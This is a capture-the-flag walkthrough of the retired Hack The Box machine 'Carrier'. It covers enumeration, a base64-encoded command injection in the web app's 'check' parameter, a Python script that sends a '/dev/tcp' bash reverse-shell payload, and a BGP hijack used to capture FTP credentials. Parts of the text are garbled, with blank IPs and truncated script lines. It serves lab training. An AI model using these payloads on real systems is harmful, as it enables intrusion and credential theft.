HTB – Carrier

Today we are going to solve another CTF challenge “Carrier”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Expert

Task: To find user.txt and root.txt file

Note: The IP of Carrier is

root@carrier:/tmp# lxc list
| r1 | RUNNING | (eth0) | | PERSISTENT | 0 |
| | | (eth2) | | | |
| | | (eth1) | | | |
| r2 | RUNNING | (eth0) | | PERSISTENT | 0 |
| | | (eth2) | | | |
| | | (eth1) | | | |
| r3 | RUNNING | (eth0) | | PERSISTENT | 0 |
| | | (eth2) | | | |
| | | (eth1) | | | |
| | | (eth3) | | | |
| web | RUNNING | (eth0) | | PERSISTENT | 0 |

Let’s start off with our basic Nmap command to find out the open ports and services.

c:\PENTEST>nmap -sC -sV -p- -T4
Starting Nmap 7.70 ( ) at 2019-09-09 13:16 W. Europe Summer Time
Nmap scan report for
Host is up (0.024s latency).
Not shown: 65532 closed ports
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 32.90 seconds
c:\PENTEST>nmap -sU --min-rate=5000 -T4
Starting Nmap 7.70 ( ) at 2019-09-09 13:19 W. Europe Summer Time
Nmap scan report for
Host is up (0.022s latency).
Not shown: 993 open|filtered ports
161/udp open snmp
3664/udp closed ups-engine
8900/udp closed jmb-cds1
17423/udp closed unknown
20762/udp closed unknown
44508/udp closed unknown
45380/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 8.56 seconds

The Nmap scan shows us that there are 3 TCP ports are open: 21(FTP), 22(SSH), 80(HTTP) and 1 UDP port is open: 161(SNMP)

As port 161 is open we use snmpwalk to enumerate SNMP port and find a string called “SN#NET_45JDX23”.

root@kali:~/htb# snmpwalk -c public -v 1
Created directory: /var/lib/snmp/mib_indexes
iso. = STRING: "SN#NET_45JDX23"
End of MIB

1st we WFUZZ for some more info about the the open port 80,

root@kali:~/htb# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404

* Wfuzz 2.4 - The Web Fuzzer *

Total requests: 949

ID Response Lines Word Chars Payload 

000000223: 301 9 L 28 W 310 Ch "css" 
000000245: 301 9 L 28 W 312 Ch "debug" 
000000277: 301 9 L 28 W 310 Ch "doc" 
000000413: 301 9 L 28 W 310 Ch "img" 
000000454: 301 9 L 28 W 309 Ch "js" 
000000838: 301 9 L 28 W 312 Ch "tools"

Total time: 3.342466
Processed Requests: 949
Filtered Requests: 943
Requests/sec.: 283.9220

We try username “admin” and the string we find earlier as the password. But were unable to login but by using the password “NET_45JDX23”, we were able to login.

By checking the different options in the web application, in the diagnostic tab, we find something interesting. When we click on the “Verify status” button, we find that the server might be running “ps” command.

So further enumerate the web application, we use BurpSuite to capture the request and find inside the “check” parameter a base64 encoded string. When we decode the base64 encoded string we find the string to be called “quagga”. Now if check the web application, it is showing all the process that contains the string “quagga”. So that means the web application is running “ps” with “grep quagga” command.

Now to verify our theory, we change the check parameter to “root” and then encode it to base64 and then encode it to URL encode.

When we send the new request we find that the web application is displaying all the process that contains the string “root”.

Now we check if the web application is vulnerable to command injection or not. We try to run id command on the server.

By changing the parameter to “hack;id” and then encoding it with base64 encode and URL encode we forward the request to the server.

When we check the web application, we find that we are successfully able to run the “id” command that means the web application is vulnerable to command injection.

Now we replace the id command with nc reverse shell one-liner.

We encode the string with base64 encode and URL encode. We setup our listener and then forward the request.

As soon as we forward the request we get a reverse shell, we spawn a TTY shell and check for files in the current directory. Inside we find a file called “user.txt”, we open the file and find the first flag.

C:\Users\jacco>nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 38314: NO_DATA
bash: cannot set terminal process group (2507): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~# python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
root@r1:~# ls
test_intercept.pcap user.txt
root@r1:~# cat user.txt
cat user.txt

Automated Script to get initial shell:


A script to get a reverse shell on Hack The Box retired machine - Carrier.
Write-up :
usage : ./ [ip adress] [port]
import requests
import sys
import subprocess
import base64

base_url = ""
diag_url = ""
session = requests.session()
login_data = {"username" : "admin" , "password" : "NET_45JDX23"}
payload = base64.b64encode("root && bash -i >& /dev/tcp/" + sys.argv[1] + "/" + sys.argv[2] + " 0>&1")
shell_data = {"check" : payload} , data=login_data)
subprocess.Popen(["nc","-lvnp",sys.argv[2]]) , data=shell_data)

After getting a root shell we enumerated the machine, we do not find anything interesting. Going back to the tickets section on the web page, we find a hint that we need to check another subnet.

We use the ping command to find all the available machines on the subnet “”.

root@r1:~# for i in {1..255}; do ping -c 1 10.120.15.$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done
<$i | grep "bytes from" | cut -d " " -f4 | cut -d ":" -f1 ; done

Now we according to the ticket we know there is ftp server running on subnet “”. So we scan both the IP addresses and find port 21 is open on Further enumerating the system in cronjob we find that there is a bash script inside /opt/ directory called “”. We take a look at the content of the file and find that the machine is working with Border Gateway Protocol (BGP) with Quagga. Now we can use a technique called BGP hijacking to take over the IP address. The bash script restores the BGP configuration every 10 minutes, so we remove executable permissions from the script so that we can make changes to the configuration of BGP

root@r1:~# crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
# m h dom mon dow command
*/10 * * * * /opt/
root@r1:~# chmod -x /opt/ 
chmod -x /opt/

Now we connect to the vty shell and check the current configuration.

Now switch to configure mode, and to intercept the traffic we want to use our machine as the gateway.

We wait for some time then interrupt the capture and check if the pcap file has been created. Now we transfer the file to our system with netcat and analyze it with Wireshark and find the password for FTP.

We use this password to login through SSH on the target system and are successfully able to login. After logging in, we find a file called root.txt, we take a look at the content of the file and find the final flag.

credits to:

Author: Jacco Straathof

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *